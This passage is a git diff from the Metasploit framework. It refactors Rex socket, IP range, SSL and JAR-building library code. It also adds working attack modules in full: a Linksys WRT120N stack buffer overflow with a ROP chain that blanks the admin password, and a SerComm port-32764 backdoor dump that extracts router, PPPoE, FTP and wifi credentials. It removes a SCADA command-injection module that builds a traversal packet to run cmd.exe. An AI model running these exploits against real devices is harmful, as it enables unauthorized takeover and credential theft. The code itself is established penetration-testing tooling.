- addr_ntoa(nboa) - # IPv6 - else - addr_ntoa(nboa) - end + addr_ntoa(nboa) end # @@ -384,6 +344,8 @@ module Socket # # Converts a network byte order address to ascii # + # @param addr [String] Packed network-byte-order address + # @return [String] Human readable IP address. def self.addr_ntoa(addr) # IPv4 if (addr.length == 4) @@ -401,8 +363,11 @@ module Socket # # Implement zero compression for IPv6 addresses. # Uses the compression method from Marco Ceresa's IPAddress GEM - # https://github.com/bluemonk/ipaddress/blob/master/lib/ipaddress/ipv6.rb # + # @see https://github.com/bluemonk/ipaddress/blob/master/lib/ipaddress/ipv6.rb + # + # @param addr [String] Human readable IPv6 address + # @return [String] Human readable IPv6 address with runs of 0s removed def self.compress_address(addr) return addr unless is_ipv6?(addr) addr = addr.dup @@ -442,8 +407,10 @@ module Socket # # Converts an integer into a network byte order address # + # @param addr [Numeric] The address as a number + # @param v6 [Boolean] Whether +addr+ is IPv6 def self.addr_iton(addr, v6=false) - if(addr < 0x100000000 and not v6) + if(addr < 0x100000000 && !v6) return [addr].pack('N') else w = [] @@ -626,7 +593,7 @@ module Socket # def self.ipv6_link_address(intf) r = source_address("FF02::1%#{intf}") - return if not (r and r =~ /^fe80/i) + return nil if r.nil? || r !~ /^fe80/i r end @@ -677,7 +644,7 @@ module Socket lport, caddr = ::Socket.unpack_sockaddr_in( server.getsockname ) end } - lsock, saddr = server.accept + lsock, _ = server.accept server.close } diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index 7807b57b6d..ac6dd63168 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -61,6 +61,7 @@ class Rex::Socket::Parameters # @option hash [String] 'SSLCert' A file containing an SSL certificate (for # server sockets) # @option hash [String] 'SSLCipher' see {#ssl_cipher} + # @option hash [Bool] 'SSLCompression' enable SSL-level compression where available # @option hash [String] 'SSLVerifyMode' SSL certificate verification # mechanism. One of 'NONE' (default), 'CLIENT_ONCE', 'FAIL_IF_NO_PEER_CERT ', 'PEER' # @option hash [String] 'Proxies' List of proxies to use. @@ -126,6 +127,10 @@ class Rex::Socket::Parameters self.ssl_verify_mode = hash['SSLVerifyMode'] end + if hash['SSLCompression'] + self.ssl_compression = hash['SSLCompression'] + end + if (hash['SSLCipher']) self.ssl_cipher = hash['SSLCipher'] end @@ -334,6 +339,10 @@ class Rex::Socket::Parameters # @return [String] attr_accessor :ssl_cert + # Enables SSL/TLS-level compression + # @return [Bool] + attr_accessor :ssl_compression + # # The SSL context verification mechanism # diff --git a/lib/rex/socket/range_walker.rb b/lib/rex/socket/range_walker.rb index ec43f3d2bd..7d64e5d639 100644 --- a/lib/rex/socket/range_walker.rb +++ b/lib/rex/socket/range_walker.rb @@ -13,12 +13,31 @@ module Socket # show-stoppingly inefficient when storing a bunch of non-consecutive # addresses, which should be a somewhat unusual case. # +# @example +# r = RangeWalker.new("10.1,3.1-7.1-255") +# r.include?("10.3.7.255") #=> true +# r.length #=> 3570 +# r.each do |addr| +# # do something with the address +# end ### class RangeWalker + # The total number of IPs within the range # + # @return [Fixnum] + attr_reader :length + + # for backwards compatibility + alias :num_ips :length + + # A list of the {Range ranges} held in this RangeWalker + # @return [Array] + attr_reader :ranges + # Initializes a walker instance using the supplied range # + # @param parseme [RangeWalker,String] def initialize(parseme) if parseme.is_a? RangeWalker @ranges = parseme.ranges.dup @@ -33,6 +52,7 @@ class RangeWalker # # This is basically only useful for determining if a range can be parsed # + # @return (see #parse) def self.parse(parseme) self.new.parse(parseme) end @@ -41,19 +61,22 @@ class RangeWalker # Turn a human-readable range string into ranges we can step through one address at a time. # # Allow the following formats: - # "a.b.c.d e.f.g.h" - # "a.b.c.d, e.f.g.h" - # where each chunk is CIDR notation, (e.g. '10.1.1.0/24') or a range in nmap format (see expand_nmap) + # "a.b.c.d e.f.g.h" + # "a.b.c.d, e.f.g.h" + # where each chunk is CIDR notation, (e.g. '10.1.1.0/24') or a range in nmap format (see {#expand_nmap}) # # OR this format - # "a.b.c.d-e.f.g.h" + # "a.b.c.d-e.f.g.h" # where a.b.c.d and e.f.g.h are single IPs and the second must be # bigger than the first. # + # @param parseme [String] + # @return [self] + # @return [false] if +parseme+ cannot be parsed def parse(parseme) return nil if not parseme ranges = [] - parseme.split(', ').map{ |a| a.split(' ') }.flatten.each { |arg| + parseme.split(', ').map{ |a| a.split(' ') }.flatten.each do |arg| opts = {} # Handle IPv6 first (support ranges, but not CIDR) @@ -64,10 +87,11 @@ class RangeWalker if addrs.length == 1 addr, scope_id = addrs[0].split('%') opts[:scope_id] = scope_id if scope_id + opts[:ipv6] = true return false unless Rex::Socket.is_ipv6?(addr) addr = Rex::Socket.addr_atoi(addr) - ranges.push [addr, addr, true, opts] + ranges.push(Range.new(addr, addr, opts)) next end @@ -77,13 +101,14 @@ class RangeWalker addr2, scope_id = addrs[0].split('%') ( opts[:scope_id] ||= scope_id ) if scope_id - return false if not (Rex::Socket.is_ipv6?(addr1) and Rex::Socket.is_ipv6?(addr2)) + # Both have to be IPv6 for this to work + return false unless (Rex::Socket.is_ipv6?(addr1) && Rex::Socket.is_ipv6?(addr2)) # Handle IPv6 ranges in the form of 2001::1-2001::10 addr1 = Rex::Socket.addr_atoi(addr1) addr2 = Rex::Socket.addr_atoi(addr2) - ranges.push [addr1, addr2, true, opts] + ranges.push(Range.new(addr1, addr2, opts)) next # Handle IPv4 CIDR @@ -115,17 +140,22 @@ class RangeWalker elsif arg =~ /[^-0-9,.*]/ # Then it's a domain name and we should send it on to addr_atoi # unmolested to force a DNS lookup. - Rex::Socket.addr_atoi_list(arg).each { |addr| ranges.push [addr, addr, false, opts] } + begin + ranges += Rex::Socket.addr_atoi_list(arg).map { |a| Range.new(a, a, opts) } + rescue Resolv::ResolvError, ::SocketError, Errno::ENOENT + return false + end # Handle IPv4 ranges elsif arg =~ /^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})-([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})$/ + # Then it's in the format of 1.2.3.4-5.6.7.8 # Note, this will /not/ deal with DNS names, or the fancy/obscure 10...1-10...2 begin - addrs = [Rex::Socket.addr_atoi($1), Rex::Socket.addr_atoi($2)] - return false if addrs[0] > addrs[1] # The end is greater than the beginning. - ranges.push [addrs[0], addrs[1], false, opts] - rescue Resolv::ResolvError # Something's broken, forget it. + start, stop = Rex::Socket.addr_atoi($1), Rex::Socket.addr_atoi($2) + return false if start > stop # The end is greater than the beginning. + ranges.push(Range.new(start, stop, opts)) + rescue Resolv::ResolvError, ::SocketError, Errno::ENOENT return false end else @@ -135,7 +165,7 @@ class RangeWalker expanded.each { |r| ranges.push(r) } end end - } + end # Remove any duplicate ranges ranges = ranges.uniq @@ -146,51 +176,61 @@ class RangeWalker # # Resets the subnet walker back to its original state. # + # @return [self] def reset return false if not valid? - @curr_range = 0 - @curr_addr = @ranges[0][0] + @curr_range_index = 0 + @curr_addr = @ranges.first.start @length = 0 - @ranges.each { |r| @length += r[1] - r[0] + 1 } + @ranges.each { |r| @length += r.length } + + self end - # # Returns the next IP address. # + # @return [String] The next address in the range def next_ip return false if not valid? - if (@curr_addr > @ranges[@curr_range][1]) - if (@curr_range >= @ranges.length - 1) - return nil - end - @curr_range += 1 - @curr_addr = @ranges[@curr_range][0] - end - addr = Rex::Socket.addr_itoa(@curr_addr, @ranges[@curr_range][2]) + if (@curr_addr > @ranges[@curr_range_index].stop) + # Then we are at the end of this range. Grab the next one. - if @ranges[@curr_range][3][:scope_id] - addr = addr + '%' + @ranges[@curr_range][3][:scope_id] + # Bail if there are no more ranges + return nil if (@ranges[@curr_range_index+1].nil?) + + @curr_range_index += 1 + + @curr_addr = @ranges[@curr_range_index].start + end + addr = Rex::Socket.addr_itoa(@curr_addr, @ranges[@curr_range_index].ipv6?) + + if @ranges[@curr_range_index].options[:scope_id] + addr = addr + '%' + @ranges[@curr_range_index].options[:scope_id] end @curr_addr += 1 return addr end + alias :next :next_ip + + # Whether this RangeWalker's ranges are valid def valid? - (@ranges and not @ranges.empty?) + (@ranges && !@ranges.empty?) end - # # Returns true if the argument is an ip address that falls within any of # the stored ranges. # + # @return [true] if this RangeWalker contains +addr+ + # @return [false] if not def include?(addr) return false if not @ranges if (addr.is_a? String) addr = Rex::Socket.addr_atoi(addr) end @ranges.map { |r| - if r[0] <= addr and addr <= r[1] + if addr.between?(r.start, r.stop) return true end } @@ -198,35 +238,45 @@ class RangeWalker end # - # Returns true if this RangeWalker includes all of the addresses in the + # Returns true if this RangeWalker includes *all* of the addresses in the # given RangeWalker # - def include_range?(range_walker) - return false if ((not @ranges) or @ranges.empty?) - return false if not range_walker.ranges + # @param other [RangeWalker] + def include_range?(other) + return false if (!@ranges || @ranges.empty?) + return false if !other.ranges || other.ranges.empty? - range_walker.ranges.all? do |start, stop| - ranges.any? do |self_start, self_stop| - r = (self_start..self_stop) - r.include?(start) and r.include?(stop) + # Check that all the ranges in +other+ fall within at least one of + # our ranges. + other.ranges.all? do |other_range| + ranges.any? do |range| + other_range.start.between?(range.start, range.stop) && other_range.stop.between?(range.start, range.stop) end end end # # Calls the given block with each address. This is basically a wrapper for - # #next_ip + # {#next_ip} # + # @return [self] def each(&block) while (ip = next_ip) block.call(ip) end + reset + + self end # - # Returns an array with one element, a Range defined by the given CIDR + # Returns an Array with one element, a {Range} defined by the given CIDR # block. # + # @see Rex::Socket.cidr_crack + # @param arg [String] A CIDR range + # @return [Range] + # @return [false] if +arg+ is not valid CIDR notation def expand_cidr(arg) start,stop = Rex::Socket.cidr_crack(arg) if !start or !stop @@ -235,8 +285,7 @@ class RangeWalker range = Range.new range.start = Rex::Socket.addr_atoi(start) range.stop = Rex::Socket.addr_atoi(stop) - range.ipv6 = (arg.include?(":")) - range.options = {} + range.options = { :ipv6 => (arg.include?(":")) } return range end @@ -348,8 +397,7 @@ class RangeWalker addrs.uniq! rng = Range.new - rng.ipv6 = false - rng.options = {} + rng.options = { :ipv6 => false } rng.start = addrs[0] ranges = [] @@ -369,27 +417,53 @@ class RangeWalker return ranges end - # - # The total number of IPs within the range - # - attr_reader :length - - # for backwards compatibility - alias :num_ips :length - - attr_reader :ranges - end -class Range < Array # :nodoc: all - def start; self[0]; end - def stop; self[1]; end - def ipv6; self[2]; end - def options; self[3]; end - def start=(val); self[0] = val; end - def stop=(val); self[1] = val; end - def ipv6=(val); self[2] = val; end - def options=(val); self[3] = val; end +# A range of IP addresses +class Range + + #@!attribute start + # The first address in this range, as a number + # @return [Fixnum] + attr_accessor :start + #@!attribute stop + # The last address in this range, as a number + # @return [Fixnum] + attr_accessor :stop + #@!attribute options + # @return [Hash] + attr_accessor :options + + # @param start [Fixnum] + # @param stop [Fixnum] + # @param options [Hash] Recognized keys are: + # * +:ipv6+ + # * +:scope_id+ + def initialize(start=nil, stop=nil, options=nil) + @start = start + @stop = stop + @options = options + end + + # Compare attributes with +other+ + # @param other [Range] + # @return [Boolean] + def ==(other) + (other.start == start && other.stop == stop && other.ipv6? == ipv6? && other.options == options) + end + + # The number of addresses in this Range + # @return [Fixnum] + def length + stop - start + 1 + end + alias :count :length + + # Whether this Range contains IPv6 or IPv4 addresses + # @return [Boolean] + def ipv6? + options[:ipv6] + end end end diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index 55d8b04df1..cc46559b11 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -110,7 +110,6 @@ begin else begin self.sslsock.connect_nonblock - # Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK IO::select(nil, nil, nil, 0.10) diff --git a/lib/rex/socket/ssl_tcp_server.rb b/lib/rex/socket/ssl_tcp_server.rb index 3d8203b3da..317b98313e 100644 --- a/lib/rex/socket/ssl_tcp_server.rb +++ b/lib/rex/socket/ssl_tcp_server.rb @@ -48,7 +48,7 @@ module Rex::Socket::SslTcpServer def initsock(params = nil) raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl - self.sslctx = makessl(params.ssl_cert) + self.sslctx = makessl(params) super end @@ -104,9 +104,10 @@ module Rex::Socket::SslTcpServer # Create a new ssl context. If +ssl_cert+ is not given, generates a new # key and a leaf certificate with random values. # + # @param [Rex::Socket::Parameters] params # @return [::OpenSSL::SSL::SSLContext] - def makessl(ssl_cert=nil) - + def makessl(params) + ssl_cert = params.ssl_cert if ssl_cert cert = OpenSSL::X509::Certificate.new(ssl_cert) key = OpenSSL::PKey::RSA.new(ssl_cert) @@ -151,6 +152,18 @@ module Rex::Socket::SslTcpServer ctx = OpenSSL::SSL::SSLContext.new() ctx.key = key ctx.cert = cert + ctx.options = 0 + + + # Older versions of OpenSSL do not export the OP_NO_COMPRESSION symbol + if defined?(OpenSSL::SSL::OP_NO_COMPRESSION) + # enable/disable the SSL/TLS-level compression + if params.ssl_compression + ctx.options &= ~OpenSSL::SSL::OP_NO_COMPRESSION + else + ctx.options |= OpenSSL::SSL::OP_NO_COMPRESSION + end + end ctx.session_id_context = Rex::Text.rand_text(16) diff --git a/lib/rex/zip/archive.rb b/lib/rex/zip/archive.rb index 4943c7eeaa..df0dcc3cfc 100644 --- a/lib/rex/zip/archive.rb +++ b/lib/rex/zip/archive.rb @@ -17,6 +17,21 @@ class Archive @entries = [] end + # + # Recursively adds a directory of files into the archive. + # + def add_r(dir) + path = File.dirname(dir) + Dir[File.join(dir, "**", "**")].each do |file| + relative = file.sub(/^#{path.chomp('/')}\//, '') + if File.directory?(file) + @entries << Entry.new(relative.chomp('/') + '/', '', @compmeth, nil, EFA_ISDIR, nil, nil) + else + contents = File.read(file, :mode => 'rb') + @entries << Entry.new(relative, contents, @compmeth, nil, nil, nil, nil) + end + end + end # # Create a new Entry and add it to the archive. diff --git a/lib/rex/zip/jar.rb b/lib/rex/zip/jar.rb index f9154ebbc9..3fae79ec44 100644 --- a/lib/rex/zip/jar.rb +++ b/lib/rex/zip/jar.rb @@ -15,6 +15,17 @@ module Zip # class Jar < Archive attr_accessor :manifest + # @!attribute [rw] substitutions + # The substitutions to apply when randomizing. Randomization is designed to + # be used in packages and/or classes names. + # + # @return [Hash] + attr_accessor :substitutions + + def initialize + @substitutions = {} + super + end # # Create a MANIFEST.MF file based on the current Archive#entries. @@ -35,11 +46,14 @@ class Jar < Archive # The SHA1-Digest lines are optional unless the jar is signed (see #sign). # def build_manifest(opts={}) - main_class = opts[:main_class] || nil + main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil) + app_name = (opts[:app_name] ? randomize(opts[:main_class]) : nil) existing_manifest = nil @manifest = "Manifest-Version: 1.0\r\n" @manifest << "Main-Class: #{main_class}\r\n" if main_class + @manifest << "Application-Name: #{app_name}\r\n" if app_name + @manifest << "Permissions: all-permissions\r\n" @manifest << "\r\n" @entries.each { |e| next if e.name =~ %r|/$| @@ -221,6 +235,47 @@ class Jar < Archive return true end + # Adds a file to the JAR, randomizing the file name + # and the contents. + # + # @see Rex::Zip::Archive#add_file + def add_file(fname, fdata=nil, xtra=nil, comment=nil) + super(randomize(fname), randomize(fdata), xtra, comment) + end + + # Adds a substitution to have into account when randomizing. Substitutions + # must be added immediately after {#initialize}. + # + # @param str [String] String to substitute. It's designed to randomize + # class and/or package names. + # @param bad [String] String containing bad characters to avoid when + # applying substitutions. + # @return [String] The substitution which will be used when randomizing. + def add_sub(str, bad = '') + if @substitutions.key?(str) + return @substitutions[str] + end + + @substitutions[str] = Rex::Text.rand_text_alpha(str.length, bad) + end + + # Randomizes an input by applying the `substitutions` available. + # + # @param str [String] String to randomize. + # @return [String] The input `str` with all the possible `substitutions` + # applied. + def randomize(str) + return str if str.nil? + + random = str + + @substitutions.each do |orig, subs| + random = str.gsub(orig, subs) + end + + random + end + end end diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index 7d663c7a44..465a4aa556 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -52,12 +52,12 @@ class Metasploit3 < Msf::Auxiliary }) if (res and (m = res.headers['Server'].match(/Boa\/(.*)/))) - print_status("#{peer} - Boa Version Detected: #{m[1]}") + vprint_status("#{peer} - Boa Version Detected: #{m[1]}") return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version return Exploit::CheckCode::Safe if (m[1][3].ord-48>4) return Exploit::CheckCode::Vulnerable else - print_status("#{peer} - Not a Boa Server!") + vprint_status("#{peer} - Not a Boa Server!") return Exploit::CheckCode::Safe # not a boa server end diff --git a/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb new file mode 100644 index 0000000000..570bc1e02b --- /dev/null +++ b/modules/auxiliary/admin/http/linksys_tmunblock_admin_reset_bof.rb @@ -0,0 +1,109 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linksys WRT120N tmUnblock Stack Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability in the WRT120N Linksys router + to reset the password of the management interface temporarily to an empty value. + This module has been tested successfully on a WRT120N device with firmware version + 1.0.07. + }, + 'Author' => + [ + 'Craig Heffner', #vulnerability discovery and original exploit + 'Michael Messner ' #metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'EDB', '31758' ], + [ 'OSVDB', '103521' ], + [ 'URL', 'http://www.devttys0.com/2014/02/wrt120n-fprintf-stack-overflow/' ] # a huge amount of details about this vulnerability and the original exploit + ], + 'DisclosureDate' => 'Feb 19 2014')) + end + + def check_login(user) + print_status("#{peer} - Trying to login with #{user} and empty password") + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'authorization' => basic_auth(user,"") + }) + if res.nil? || res.code == 404 + print_status("#{peer} - No login possible with #{user} and empty password") + return false + elsif [200, 301, 302].include?(res.code) + print_good("#{peer} - Successful login #{user} and empty password") + return true + else + print_status("#{peer} - No login possible with #{user} and empty password") + return false + end + end + + def run + + begin + if check_login("admin") + print_good("#{peer} - login with user admin and no password possible. There is no need to use this module.") + return + end + rescue ::Rex::ConnectionError + print_error("#{peer} - Failed to connect to the web server") + return + end + + print_status("#{peer} - Resetting password for the admin user ...") + + postdata = Rex::Text.rand_text_alpha(246) # Filler + postdata << [0x81544AF0].pack("N") # $s0, address of admin password in memory + postdata << [0x8031f634].pack("N") # $ra + postdata << Rex::Text.rand_text_alpha(40) # Stack filler + postdata << Rex::Text.rand_text_alpha(4) # Stack filler + postdata << [0x803471b8].pack("N") # ROP 1 $ra (address of ROP 2) + postdata << Rex::Text.rand_text_alpha(8) # Stack filler + + (0..3).each do |i| + postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s0, don't care + postdata << Rex::Text.rand_text_alpha(4) # ROP 2 $s1, don't care + postdata << [0x803471b8].pack("N") # ROP 2 $ra (address of itself) + postdata << Rex::Text.rand_text_alpha(4-(3*(i/3))) # Stack filler + end + + begin + res = send_request_cgi( + { + 'uri' => normalize_uri("cgi-bin", "tmUnblock.cgi"), + 'method' => 'POST', + 'vars_post' => { + 'period' => '0', + 'TM_Block_MAC' => '00:01:02:03:04:05', + 'TM_Block_URL' => postdata + } + }) + if res and res.code == 500 + if check_login("admin") + print_good("#{peer} - Expected answer and the login was successful. Try to login with the user admin and a blank password") + else + print_status("#{peer} - Expected answer, but unknown exploit status. Try to login with the user admin and a blank password") + end + else + print_error("#{peer} - Unexpected answer. Exploit attempt has failed") + end + rescue ::Rex::ConnectionError + print_error("#{peer} - Failed to connect to the web server") + return + end + end +end diff --git a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb index df39e50604..efa26117ab 100644 --- a/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb +++ b/modules/auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb @@ -141,7 +141,7 @@ class Metasploit4 < Msf::Auxiliary juarray = "a:3:{i:0;s:#{jumpurl_len.to_s()}:\"#{jumpurl_enc}\"" juarray << ";i:1;s:#{locationData.length}:\"#{locationData}\";i:2;" juarray << "s:0:\"\";}" - juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('sha1'), enc_key, juarray) + juhash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), enc_key, juarray) end file_uri = "#{datastore['URI']}/index.php?jumpurl=#{jumpurl}&juSecure=1&locationData=#{locationData}&juHash=#{juhash}" diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb new file mode 100644 index 0000000000..35f7127993 --- /dev/null +++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb @@ -0,0 +1,241 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + SETTINGS = { + 'Creds' => [ + [ 'HTTP Web Management', { 'user' => /http_username=(\S+)/i, 'pass' => /http_password=(\S+)/i } ], + [ 'HTTP Web Management Login', { 'user' => /login_username=(\S+)/i, 'pass' => /login_password=(\S+)/i } ], + [ 'PPPoE', { 'user' => /pppoe_username=(\S+)/i, 'pass' => /pppoe_password=(\S+)/i } ], + [ 'PPPoA', { 'user' => /pppoa_username=(\S+)/i, 'pass' => /pppoa_password=(\S+)/i } ], + [ 'DDNS', { 'user' => /ddns_user_name=(\S+)/i, 'pass' => /ddns_password=(\S+)/i } ], + [ 'CMS', {'user' => /cms_username=(\S+)/i, 'pass' => /cms_password=(\S+)/i } ], # Found in some cameras + [ 'BigPondAuth', {'user' => /bpa_username=(\S+)/i, 'pass' => /bpa_password=(\S+)/i } ], # Telstra + [ 'L2TP', { 'user' => /l2tp_username=(\S+)/i, 'pass' => /l2tp_password=(\S+)/i } ], + [ 'FTP', { 'user' => /ftp_login=(\S+)/i, 'pass' => /ftp_password=(\S+)/i } ], + ], + 'General' => [ + ['Wifi SSID', /wifi_ssid=(\S+)/i], + ['Wifi Key 1', /wifi_key1=(\S+)/i], + ['Wifi Key 2', /wifi_key2=(\S+)/i], + ['Wifi Key 3', /wifi_key3=(\S+)/i], + ['Wifi Key 4', /wifi_key4=(\S+)/i] + ] + } + + attr_accessor :endianess + attr_accessor :credentials + + def initialize(info={}) + super(update_info(info, + 'Name' => "SerComm Device Configuration Dump", + 'Description' => %q{ + This module will dump the configuration of several SerComm devices. These devices + typically include routers from NetGear and Linksys. This module was tested + successfully against the NetGear DG834 series ADSL modem router. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Eloi Vanderbeken ', #Initial discovery, poc + 'Matt "hostess" Andreko ' #Msf module + ], + 'References' => + [ + [ 'OSVDB', '101653' ], + [ 'URL', 'https://github.com/elvanderb/TCP-32764' ] + ], + 'DisclosureDate' => "Dec 31 2013" )) + + register_options( + [ + Opt::RPORT(32764), + ], self.class) + end + + def run + print_status("#{peer} - Attempting to connect and check endianess...") + @endianess = fingerprint_endian + @credentials = {} + + if endianess.nil? + print_error("Failed to check endianess, aborting...") + return + end + print_good("#{peer} - #{string_endianess} device found...") + + print_status("#{peer} - Attempting to connect and dump configuration...") + config = dump_configuration + + if config.nil? + print_status("#{peer} - Error retrieving configuration, aborting...") + return + end + + loot_file = store_loot("router.config", "text/plain", rhost, config[:data], "#{rhost}router_config.txt", "Router Configurations") + print_status("#{peer} - Router configuration dump stored in: #{loot_file}") + + parse_configuration(config[:data]) + end + + private + + def little_endian? + return endianess == 'LE' + end + + def big_endian? + return endianess == 'BE' + end + + def string_endianess + if little_endian? + return "Little Endian" + elsif big_endian? + return "Big Endian" + end + + return nil + end + + def peer + return "#{rhost}:#{rport}" + end + + def fingerprint_endian + begin + connect + sock.put(Rex::Text.rand_text(5)) + res = sock.get_once + disconnect + rescue Rex::ConnectionError => e + print_error("Connection failed: #{e.class}: #{e}") + return nil + end + + unless res + return nil + end + + if res.start_with?("MMcS") + return 'BE' + elsif res.start_with?("ScMM") + return 'LE' + end + + return nil + end + + def dump_configuration + if big_endian? + pkt = [0x4d4d6353, 0x01, 0x00].pack("NVV") + elsif little_endian? + pkt = [0x4d4d6353, 0x01, 0x00].pack("VNN") + else + return nil + end + + connect + sock.put(pkt) + res = sock.get + + disconnect + + if res.blank? + vprint_error("#{peer} - No answer...") + return + end + + if big_endian? + mark, zero, length, data = res.unpack("NVVa*") + else + mark, zero, length, data = res.unpack("VNNa*") + end + + unless mark == 0x4d4d6353 + vprint_error("#{peer} - Incorrect mark when reading response") + return nil + end + + unless zero == 0 + vprint_error("#{peer} - Incorrect zero when reading response") + return nil + end + + unless length == data.length + vprint_warning("#{peer} - Inconsistent length / data packet") + #return nil + end + + return { :length => length, :data => data } + end + + def parse_configuration(data) + configs = data.split(?\x00) + + if datastore['VERBOSE'] + vprint_status('All configuration values:') + configs.sort.each do |i| + if i.strip.match(/.*=\S+/) + vprint_status(i) + end + end + end + + configs.each do |config| + parse_general_config(config) + parse_auth_config(config) + end + + @credentials.each do |k,v| + next unless v[:user] and v[:password] + print_status("#{peer} - #{k}: User: #{v[:user]} Pass: #{v[:password]}") + auth = { + :host => rhost, + :port => rport, + :user => v[:user], + :pass => v[:password], + :type => 'password', + :source_type => "exploit", + :active => true + } + report_auth_info(auth) + end + + end + + def parse_general_config(config) + SETTINGS['General'].each do |regex| + if config.match(regex[1]) + value = $1 + print_status("#{peer} - #{regex[0]}: #{value}") + end + end + end + + def parse_auth_config(config) + SETTINGS['Creds'].each do |cred| + @credentials[cred[0]] = {} unless @credentials[cred[0]] + + # find the user/pass + if config.match(cred[1]['user']) + @credentials[cred[0]][:user] = $1 + end + + if config.match(cred[1]['pass']) + @credentials[cred[0]][:password] = $1 + end + + end + end + +end diff --git a/modules/auxiliary/admin/natpmp/natpmp_map.rb b/modules/auxiliary/admin/natpmp/natpmp_map.rb index 1e881959d0..1738a8e425 100644 --- a/modules/auxiliary/admin/natpmp/natpmp_map.rb +++ b/modules/auxiliary/admin/natpmp/natpmp_map.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary ) # report the external port as being open - if inside_workspace_boundary(external_address) + if inside_workspace_boundary?(external_address) report_service( :host => external_address, :port => external_port, diff --git a/modules/auxiliary/admin/scada/igss_exec_17.rb b/modules/auxiliary/admin/scada/igss_exec_17.rb deleted file mode 100644 index 1b250ddf59..0000000000 --- a/modules/auxiliary/admin/scada/igss_exec_17.rb +++ /dev/null @@ -1,65 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - require 'msf/core/module/deprecated' - include Msf::Module::Deprecated - deprecated Date.new(2013, 12, 17), 'exploit/windows/scada/igss_exec_17' - - include Msf::Exploit::Remote::Tcp - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Interactive Graphical SCADA System Remote Command Injection', - 'Description' => %q{ - This module abuses a directory traversal flaw in Interactive - Graphical SCADA System v9.00. In conjunction with the traversal - flaw, if opcode 0x17 is sent to the dc.exe process, an attacker - may be able to execute arbitrary system commands. - }, - 'Author' => [ 'Luigi Auriemma', 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2011-1566'], - [ 'OSVDB', '72349'], - [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ], - ], - 'DisclosureDate' => 'Mar 21 2011')) - - register_options( - [ - Opt::RPORT(12397), - OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']), - ], self.class) - end - - def run - - connect - - exec = datastore['CMD'] - - packet = [0x00000100].pack('V') + [0x00000000].pack('V') - packet << [0x00000100].pack('V') + [0x00000017].pack('V') - packet << [0x00000000].pack('V') + [0x00000000].pack('V') - packet << [0x00000000].pack('V') + [0x00000000].pack('V') - packet << [0x00000000].pack('V') + [0x00000000].pack('V') - packet << [0x00000000].pack('V') - packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\" - packet << "windows\\system32\\cmd.exe\" /c #{exec}" - packet << "\x00" * (143 + exec.length) - - print_status("Sending command: #{exec}") - sock.put(packet) - sock.get_once(-1,0.5) - disconnect - - end - -end diff --git a/modules/auxiliary/admin/scada/modicon_password_recovery.rb b/modules/auxiliary/admin/scada/modicon_password_recovery.rb index f8cdaadd8f..1b953fc3f0 100644 --- a/modules/auxiliary/admin/scada/modicon_password_recovery.rb +++ b/modules/auxiliary/admin/scada/modicon_password_recovery.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(21), OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']), - OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']), + OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']) ], self.class) register_advanced_options( @@ -59,7 +59,6 @@ class Metasploit3 < Msf::Auxiliary # device, then we're going to end up storing HTTP credentials that are not # correct. If there's a way to fingerprint the device, it should be done here. def check - return true unless datastore['RUN_CHECK'] is_modicon = false vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint" connect rescue nil @@ 